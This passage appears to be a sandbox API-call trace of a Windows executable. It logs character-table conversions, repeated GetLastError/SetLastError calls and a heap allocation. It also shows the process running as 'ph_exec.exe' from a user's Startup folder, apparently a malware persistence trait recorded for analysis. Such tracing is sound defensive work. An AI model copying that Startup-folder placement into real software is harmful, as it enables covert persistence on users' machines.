cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x9c\xe5\x51\x4e\x94\xfd\x53", lpUsedDefaultChar=0x0) returned 256 [0118.675] GetLastError () returned 0xcb [0118.675] SetLastError (dwErrCode=0xcb) [0118.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53fc5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53fc5c, cbMultiByte=256, lpWideCharStr=0x53f5b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.675] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.675] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x53f3a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0118.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x53fa5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x9c\xe5\x51\x4e\x94\xfd\x53", lpUsedDefaultChar=0x0) returned 256 [0118.676] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x133f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.676] SetLastError (dwErrCode=0x0) [0118.676] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.677] GetLastError () returned 0x0 [0118.677] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.678] GetLastError () returned 0x0 [0118.678] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.679] GetLastError () returned 0x0 [0118.679] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.680] SetLastError (dwErrCode=0x0) [0118.680] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.681] SetLastError (dwErrCode=0x0) [0118.681] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x62) returned 0xe71788 [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.682] SetLastError (dwErrCode=0x0) [0118.682] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.683] SetLastError (dwErrCode=0x0) [0118.683] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.684] SetLastError (dwErrCode=0x0) [0118.684] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.722] SetLastError (dwErrCode=0x0) [0118.722] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.723] SetLastError (dwErrCode=0x0) [0118.723] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.724] GetLastError () returned 0x0 [0118.724] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] GetLastError () returned 0x0 [0118.725] SetLastError (dwErrCode=0x0) [0118.725] 